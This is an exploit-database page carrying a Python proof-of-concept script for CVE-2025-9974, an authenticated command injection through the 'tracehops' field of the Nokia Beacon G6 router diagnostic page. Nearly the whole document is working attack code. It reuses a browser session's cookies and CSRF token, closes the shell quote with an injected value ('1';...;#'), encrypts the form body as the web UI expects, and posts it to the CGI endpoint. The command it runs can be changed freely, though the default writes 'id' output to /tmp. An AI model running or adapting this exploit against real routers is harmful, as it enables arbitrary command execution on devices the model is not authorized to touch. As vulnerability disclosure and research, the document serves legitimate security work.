Exploit databaseDownload repository ZIP
GH-373e6fd82f612a322d3b45551324ecfb
rajdave69/cve-2025-9974
Sources for CVE-2025-9974
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files3
rajdave69/cve-2025-9974Revision f207f52c2ab7
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
RCEs/Diagnostic-Ping/poc.py
Python · 8,879 bytes#!/usr/bin/env python3
"""CVE-2025-9974 - Diagnostic `tracehops` command-injection proof of concept.
Independent researcher: Raj Dave
G6 runtime confirmation: 3FE49996HJLL91 (1.2404.491).
The original input route appears filtered on Beacon 9 1.2503.544.
Submits exactly ONE authenticated diagnostic POST using an existing browser
session. It does not log in, alter RBAC, or change router configuration.
For owned or explicitly authorized equipment on an isolated management LAN.
"""
import base64
import ipaddress
import json
import os
import re
import ssl
import sys
from urllib.error import HTTPError, URLError
from urllib.parse import urlencode
from urllib.request import (
HTTPRedirectHandler, HTTPSHandler, ProxyHandler, Request, build_opener,
)
# --- Configuration ---
router_url = "192.168.x.1" # The private IPv4 address of your lab router
scheme = "http" # Set to "https" if your router supports it
port = None # Optional TCP port, otherwise use scheme default
ca_file = None # Optional trusted CA file for HTTPS
# Browser DevTools > Storage: use values from the SAME active WebUI session.
SID = "" # Cookies > sid
LSID = "" # Cookies > lsid
CSRF_TOKEN = "" # Local Storage > token
RSA_PUBLIC_KEY_PEM = "" # Local Storage > pubkey (PEM)
# The command below is embedded into the tracehops argument by closing the
# quote that the router's SE_cap_execl helper adds. The injected portion is:
# tracehops = "1';" + injected_command + ";#"
# For the default proof this runs `id` and writes only to a temporary file.
# Do NOT use service-disrupting commands on a production router.
# The command is inserted as written: there is NO Base64 wrapping, automatic
# directory change, or whitespace rewriting. NUL/CR/LF are not supported.
# The original G6 path accepts an apostrophe; the examined Beacon 9 25.xx CGI
# filters it before it can reach the shared helper.
injected_command = "id > /tmp/F6_PROOF"
# Ordinary diagnostic parameters. Do not introduce other shell syntax here.
ipversion = "ipv4"
iface = ""
ipaddr = "127.0.0.1"
checkall = "ping"
pingcount = "4"
packetlength = "64"
timeout = 15
class NoRedirect(HTTPRedirectHandler):
def redirect_request(self, request, fp, code, msg, headers, newurl):
return None
def validate_config():
try:
target = ipaddress.IPv4Address(router_url)
except ipaddress.AddressValueError as exc:
raise ValueError("Set router_url to an actual private IPv4 address") from exc
if not target.is_private or target.is_loopback or target.is_link_local:
raise ValueError("Target must be a private LAN IPv4 address")
if not any(target in ipaddress.IPv4Network(block) for block in (
"10.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16"
)):
raise ValueError("Only RFC1918 private IPv4 target addresses are supported")
if scheme not in ("http", "https"):
raise ValueError("scheme must be 'http' or 'https'")
if port is not None and not (isinstance(port, int) and 1 <= port <= 65535):
raise ValueError("port must be None or an integer between 1 and 65535")
if ca_file is not None and scheme != "https":
raise ValueError("ca_file can only be set with HTTPS")
for name, value in (("SID", SID), ("LSID", LSID), ("CSRF_TOKEN", CSRF_TOKEN)):
if not value or re.search(r"[\r\n;\x00]", value):
raise ValueError(f"Supply a valid {name} from the current browser session")
if "BEGIN PUBLIC KEY" not in RSA_PUBLIC_KEY_PEM or "END PUBLIC KEY" not in RSA_PUBLIC_KEY_PEM:
raise ValueError("Paste your current browser 'pubkey' PEM into RSA_PUBLIC_KEY_PEM")
if not injected_command.strip() or any(ch in injected_command for ch in "\x00\r\n"):
raise ValueError("injected_command must be nonempty and must not contain NUL/CR/LF")
if len(injected_tracehops().encode("utf-8")) > 250:
raise ValueError("Injected tracehops exceeds 250 bytes; shorten the command")
if ipversion != "ipv4" or checkall != "ping":
raise ValueError("This PoC only uses the examined IPv4 ping action")
if ipaddr != "127.0.0.1":
raise ValueError("Keep ipaddr at the benign loopback address for this PoC")
if iface and not re.fullmatch(r"[a-zA-Z0-9_.:-]+", iface):
raise ValueError("iface must be empty or an ordinary interface name")
if not (pingcount.isdecimal() and 1 <= int(pingcount) <= 4):
raise ValueError("pingcount must be 1-4")
if not (packetlength.isdecimal() and 16 <= int(packetlength) <= 128):
raise ValueError("packetlength must be 16-128")
if not 1 <= timeout <= 30:
raise ValueError("timeout must be 1-30 seconds")
def injected_tracehops():
# Normal diagnostic argument plus closing apostrophe, command, comment.
return "1';" + injected_command + ";#"
def encrypted_post_body(plaintext):
try:
from Crypto.Cipher import AES, PKCS1_v1_5
from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad
except ImportError as exc:
raise RuntimeError("Install pycryptodome: python -m pip install -r requirements.txt") from exc
# Compatible with the browser's normal hybrid WebUI form transport.
key, iv = os.urandom(16), os.urandom(16)
encrypted = AES.new(key, AES.MODE_CBC, iv).encrypt(pad(plaintext.encode("utf-8"), 16))
wrapped_plaintext = (base64.b64encode(key).decode("ascii") + " " +
base64.b64encode(iv).decode("ascii")).encode("ascii")
wrapped = PKCS1_v1_5.new(RSA.import_key(RSA_PUBLIC_KEY_PEM)).encrypt(wrapped_plaintext)
ct = base64.urlsafe_b64encode(encrypted).rstrip(b"=").decode("ascii")
ck = base64.urlsafe_b64encode(wrapped).decode("ascii").replace("=", ".")
return urlencode((('encrypted', '1'), ('ct', ct), ('ck', ck))).encode('ascii')
def get_opener():
handlers = [ProxyHandler({}), NoRedirect()]
if scheme == 'https':
# Certificate verification remains enabled. Add ca_file if needed.
handlers.append(HTTPSHandler(context=ssl.create_default_context(cafile=ca_file)))
return build_opener(*handlers)
def main():
validate_config()
host = router_url if port is None else f"{router_url}:{port}"
base = f"{scheme}://{host}"
endpoint = base + "/diag_web_app.cgi?ping"
plaintext = urlencode([
("ipversion", ipversion),
("iface", iface),
("ipaddr", ipaddr),
("checkall", checkall),
("pingcount", pingcount),
("packetlength", packetlength),
("tracehops", injected_tracehops()),
("csrf_token", CSRF_TOKEN),
])
print("Nokia Beacon G6 - Authenticated Diagnostic Command Injection PoC")
print("Target:", endpoint)
print("Injected command:", injected_command)
print("Injected tracehops:", repr(injected_tracehops()))
print("Request: one authenticated diagnostic ping POST")
print("No operator RBAC modifications or persistent configuration changes")
if scheme == 'http':
print("WARNING: HTTP exposes WebUI session cookies on the management LAN")
req = Request(endpoint, data=encrypted_post_body(plaintext), method='POST', headers={
"User-Agent": "Mozilla/5.0 (Diagnostic-Research-PoC)",
"Accept": "application/json, text/plain, */*",
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": f"lang=en; lsid={LSID}; sid={SID}",
"Origin": base,
"Referer": base + "/",
})
try:
response = get_opener().open(req, timeout=timeout)
except HTTPError as exc:
response = exc
except (URLError, TimeoutError) as exc:
print("Network error:", type(exc).__name__)
print("A server-side action may already have occurred; inspect before retrying")
return 2
with response:
status = response.status
body = response.read(8193)
location = response.headers.get('Location')
if len(body) > 8192:
raise RuntimeError("Unexpectedly large CGI response")
print("HTTP status:", status)
if location:
print("Redirect:", location)
decoded = body.decode('utf-8', 'replace')
try:
result = json.loads(decoded)
print("Response:", result)
except (ValueError, TypeError):
print("Response:", decoded[:1600])
print("HTTP 200 is not proof of execution. Verify the command's effect independently.")
if injected_command == 'id > /tmp/F6_PROOF':
print("On UART: ls -ln /tmp/F6_PROOF && cat /tmp/F6_PROOF")
print("After recording evidence: rm -f /tmp/F6_PROOF")
return 0 if status == 200 else 1
if __name__ == '__main__':
try:
sys.exit(main())
except (ValueError, RuntimeError) as exc:
sys.exit("ERROR: " + str(exc))